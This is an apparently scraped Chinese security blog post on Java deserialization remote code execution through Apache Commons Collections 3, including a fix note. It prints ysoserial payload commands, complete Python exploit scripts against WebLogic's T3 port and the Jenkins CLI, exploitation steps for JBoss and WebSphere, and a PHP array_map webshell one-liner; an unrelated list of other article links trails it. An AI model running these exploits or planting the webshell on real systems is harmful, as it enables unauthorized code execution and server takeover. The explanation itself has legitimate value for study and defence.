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" alt="" />
以上解释了如何通过Apache Commons Collections 3这个库中的代码,来构造序列化对象,使得程序在反序列化时可以立即实现任意代码执行,值得注意的是,POC之所以是通用的原因在于,只要目标系统中使用了Apache Commons Collections 3存在漏洞的代码库,并且调用了readObject(),不管具体的使用场景是怎么样的(即不管反序列化后强制转换为任何的对象),在readObject()被调用的时候攻击就已经成立了
我们可以直接使用工具ysoserial来生成payload,当中包含了4种通用的payload:Apache Commons Collections 3和4,Groovy,Spring,只要目标应用的Class Path中包含这些库,ysoserial生成的payload即可让readObject()实现任意命令执行。
ysoserial当中针对Apache Commons Collections 3的payload也是基于TransformedMap和InvokerTransformer来构造的,而在触发时,并没有采用上文介绍的AnnotationInvocationHandler,而是使用了java.lang.reflect.Proxy中的相关代码来实现触发
Relevant Link:
http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
https://github.com/andreyvit/yoursway-ide/blob/master/org.apache.commons.collections/src/java/org/apache/commons/collections/map/TransformedMap.java
https://github.com/foxglovesec/JavaUnserializeExploits
https://frohoff.github.io/appseccali-marshalling-pickles/
4. 漏洞利用实例
0x1: 利用过程
. 首先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点
) 我们可以通过审计源码中对反序列化函数的调用(例如readObject())来寻找
) 也可以直接通过对应用交互流量进行抓包,查看流量中是否包含java序列化数据来判断,java序列化数据的特征为以标记(ac ed )开头 . 确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections库(ysoserial所支持的其他库亦可),如果是,就可以使用ysoserial来生成反序列化的payload,指定库名和想要执行的命令即可 . java -jar ysoserial-0.0.-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out
通过先前找到的传入对象方式进行对象注入,数据中载入payload,触发受影响应用中ObjectInputStream的反序列化操作,随后通过反射调用Runtime.getRunTime.exec即可完成利用
0x2: WebLogic
对安装包文件grep受影响的类InvokerTransformer
grep -R InvokerTransformer ./
Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches
接着通过寻找接收外部输入的点,来让我们发送序列化对象。
WebLogic外部只开了一个7001端口,这个端口接受HTTP,T3,SNMP协议,判断协议类型后再把数据路由到内部正确的位置,通过在server上抓包,发现走T3协议时携带了java序列化对象,所以用把这个包文从序列化开始的标记(ac ed 00 05)后加入payload,重放这个数据,完成利用
以下是breenmachine的完整利用脚本
#!/usr/bin/python
import socket
import sys sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_address = (sys.argv[], int(sys.argv[]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address) # Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers) data = sock.recv()
print >>sys.stderr, 'received "%s"' % data payloadObj = open(sys.argv[],'rb').read() payload=''
print 'sending payload...'
'''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''
sock.send(payload)
0x3: Jenkins
Jenkins是一个非常流行的CI工具,在很多企业的内网中都部署了这个系统,这个系统常常和企业的代码相关联,这次也受到了Java反序列化漏洞的影响,非常危险
同样,通过grep受影响的类InvokerTransformer
grep -R "InvokerTransformer" ./
Binary file ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2..jar matches
在开放的端口上抓包,定位到Jeenkins的CLI包文中的序列化开始标记(rO0)。 在发送CLI的第一个包文后
以下是@breenmachine的完整利用脚本
#!/usr/bin/python #usage: ./jenkins.py host port /path/to/payload
import socket
import sys
import requests
import base64 host = sys.argv[]
port = sys.argv[] #Query Jenkins over HTTP to find what port the CLI listener is on
r = requests.get('http://'+host+':'+port)
cli_port = int(r.headers['X-Jenkins-CLI-Port']) #Open a socket to the CLI port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, cli_port)
print 'connecting to %s port %s' % server_address
sock.connect(server_address) # Send headers
headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'
print 'sending "%s"' % headers
sock.send(headers) data = sock.recv()
print >>sys.stderr, 'received "%s"' % data data = sock.recv()
print >>sys.stderr, 'received "%s"' % data payloadObj = open(sys.argv[],'rb').read()
payload_b64 = base64.b64encode(payloadObj)
payload='' print 'sending payload...'
'''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''
sock.send(payload)
0x4: Jboss
boss受影响的情况就比之前Jenkins逊色不少,正如之前所说,要成功利用必须要找到程序接受外部输入的点,而此处的利用需要/invoker/jmx的支持,大部分情况下的实际场景,jboss都删除了jmx,所以让此处的利用大打折扣
0x5: WebSphere
WebSphere的利用相比较之前几个case就非常粗暴简单了,但是很少会暴露在公网
找到受影响的lib的位置
find . -iname "*commons*collection*"
./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.1/commons-collections.jar
./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.2./commons-collections.jar
./WebSphere/AppServer/plugins/com.ibm.ws.prereq.commons-collections.jar
./WebSphere/AppServer/systemApps/LongRunningScheduler.ear/JobManagementWeb.war/WEB-INF/lib/commons-collections.jar
./WebSphere/AppServer/systemApps/isclite.ear/commons-collections.jar
./WebSphere/AppServer/deploytool/itp/plugins/com.ibm.websphere.v85_2.0.0.v20120621_2102/wasJars/com.ibm.ws.prereq.commons-collections.jar
查看端口开放情况后发现WebSphere默认起了10个端口监听所有接口,通过burp suite看到在请求websphere默认端口8880上有一个POST的请求,body中带有base64处理后的java序列化对象,同样的,标记位置仍然是"rO0",我们将生成的payload做base64处理后覆盖之前的序列化对象即可利用
Relevant Link:
https://www.sebug.net/vuldb/ssvid-89723
http://blog.chaitin.com/2015-11-11_java_unserialize_rce/
5. 修复策略
commons-collections-3.2.2默认关闭了InvokerTransformer功能
Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
6. 安全问题延伸讨论
这个安全问题的根源在于
. ObjectInputStream处理反序列化时接受外部输入,同时未对外部输入进行类型检查
. 攻击者在外部序列化参数中传入特殊构造的sun.reflect.annotation.AnnotationInvocationHandler、或者java.lang.reflect.Proxy
. 在这2个对象的readObject()方法中,都包含setValue()的调用
. 而在Apache Commons Collections中,setValue()的调用会导致InvokerTransformer()的被调用,InvokerTransformer()会根据外部输入类名函数名反射执行的作用,所以造成整个程序RCE
所以该问题并不是像其他一些语言unserialize函数本身存在漏洞,而是在应用本身实现的方式上存在缺陷,导致应用受到RCE的影响,或者更准确地说是Apache Commons Collections把执行任意回调(任意参数)的能力开放给了外部参数
0x1: PHP unserialize风险
从程序语言角度来说,PHP和Java一样,只能对当前内存代码空间中存在的对象进行序列化/反序列化,并能不能根据外部传入参数进行任意的反序列化
唯一可以存在一点可探讨的相关性的是,unserialize反序列化后默认调用的构造函数
http://www.cnblogs.com/LittleHann/p/3522990.html
搜索:0x22: PHP的序列化、反序列化特性布置后门
0x2: PHP array_map: 回调函数风险
array_map,将回调函数作用到给定数组的单元上,PHP中还有很多类似功能的callback函数,如果系统采取了错误的方式使用array_map,将外部参数直接带入到array_map中,就同样可能造成任意代码执行RCE
<?php
$new_array = array_map("ass\x65rt", (array)$_REQUEST['op']);
//http://localhost/test/test.php?op=eval($_GET[1]): 菜刀密码: 1
?>
Relevant Link:
http://www.cnblogs.com/LittleHann/p/4242535.html
Copyright (c) 2015 LittleHann All rights reserved
Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)的更多相关文章
- C#与Java对比学习:数据类型、集合类、栈与队列、迭达、可变参数、枚举
数据类型: C#:String与StringBuilder Java:String与StringBuffer 第一个不习惯是string的第一个字母必须大写了. 第二个不习惯是int得写成Intege ...
- java线程内存模型,线程、工作内存、主内存
转自:http://rainyear.iteye.com/blog/1734311 java线程内存模型 线程.工作内存.主内存三者之间的交互关系图: key edeas 所有线程共享主内存 每个线程 ...
- Java代理(jdk静态代理、动态代理和cglib动态代理)
一.代理是Java常用的设计模式,代理类通过调用被代理类的相关方法,并对相关方法进行增强.加入一些非业务性代码,比如事务.日志.报警发邮件等操作. 二.jdk静态代理 1.业务接口 /** * 业务接 ...
- Java中List,ArrayList、Vector,map,HashTable,HashMap区别用法
Java中List,ArrayList.Vector,map,HashTable,HashMap区别用法 标签: vectorhashmaplistjavaiteratorinteger ArrayL ...
- phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via unserialize Vul Object Injection PMASA-2010-4
目录 . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述 对这个漏洞简单的概括如下 . "/scripts/setup.php&q ...
- java gc的工作原理、如何优化GC的性能、如何和GC进行有效的交互
java gc的工作原理.如何优化GC的性能.如何和GC进行有效的交互 一个优秀的Java 程序员必须了解GC 的工作原理.如何优化GC的性能.如何和GC进行有效的交互,因为有一些应用程序对性能要求较 ...
- QVariant(相当于是Java里面的Object,起到一个数据类型“擦除”的作用,可以使用Q_DECLARE_METATYPE进行注册)
=QVariant= [%这个类型相当于是Java里面的Object,它把绝大多数Qt提供的数据类型都封装起来,起到一个数据类型“擦除”的作用.比如我们的 table单元格可以是string,也可以是 ...
- Java IO 四大附加接口、try-with-resource
Java IO 四大附加接口.try-with-resource @author ixenos 四大附加接口 Closeable.Flushable.Readable.Appendable Close ...
- Java并发编程:Callable、Future和FutureTask的实现
启动线程执行任务,如果需要在任务执行完毕之后得到任务执行结果,可以使用从Java 1.5开始提供的Callable和Future 下面就分析一下Callable.Future以及FutureTask的 ...
随机推荐
- android源码framework下添加新资源的方法
编译带有资源的jar包,需要更改frameworks层,方法如下: 一.增加png类型的图片资源 1.将appupdate模块所有用到的png格式图片拷贝到framework/base/core/re ...
- QT 网络编程二(UDP版本)
QT的UdpSocket接收消息使用原则 第一步:new一个UdpSocket 第二步:调用UdpSocket的bind方法,同时指定端口号 第三步:使用connect将接收消息函数和UdpSocke ...
- datahub
https://help.aliyun.com/document_detail/27854.html
- Messenger
Messenger Mvvm提倡View和ViewModel的分离,View只负责数据的显示,业务逻辑都尽可能放到ViewModel中, 保持View.xaml.cs中的简洁(没有任何代码,除了构造函 ...
- WPF路径动画(动态逆向动画)
WPF 中的Path.Data 不再多介绍,M开始坐标点 C弧度坐标点 L 直线坐标点 <Path x:Name="path0" Data="M 10,100 C ...
- UC~移动端的IE!!!坑总结
1.接入过WAP版支付宝支付的应该会发现,支付宝页面在UC中巨丑,完全就是诺基亚时代的网页.你可能会怪它是支付宝的问题吧.但你用QQ浏览器打开,很好啊:你在电脑用火狐.Chrome打开都很好啊:那你试 ...
- 深入理解计算机系统(2.8)---浮点数的舍入,Java中的舍入例子以及浮点数运算(重要)
前言 上一章我们简单介绍了IEEE浮点标准,本次我们主要讲解一下浮点运算舍入的问题,以及简单的介绍浮点数的运算. 之前我们已经提到过,有很多小数是二进制浮点数无法准确表示的,因此就难免会遇到舍入的问题 ...
- 遇到技嘉 Gigabyte UEFI DualBIOS问题
我的板子是技嘉H87-D3H二手板子,用了差不多三年左右,一直感觉不错,承担着高强度的开发任务. 问题描述: 无法开机,按下电源后,主板通电状态灯亮,CPU和显卡风扇转动,显示器显示下图: 2至3秒后 ...
- Win2008上.NET4.0部署出错HTTP 错误 500.21 - Internal Server Error的解决方法
原因:在安装Framework v4.0之后,再启用IIS,导致Framework没有完全安装 解决:开始->所有程序->附件->鼠标右键点击“命令提示符”->以管理员身份运行 ...
- Android开发之Notification通知
消息通知使我们很常见的,当收到一条消息的时候,通知栏会显示一条通知: 直接看代码: public class MainActivity extends Activity { private Notif ...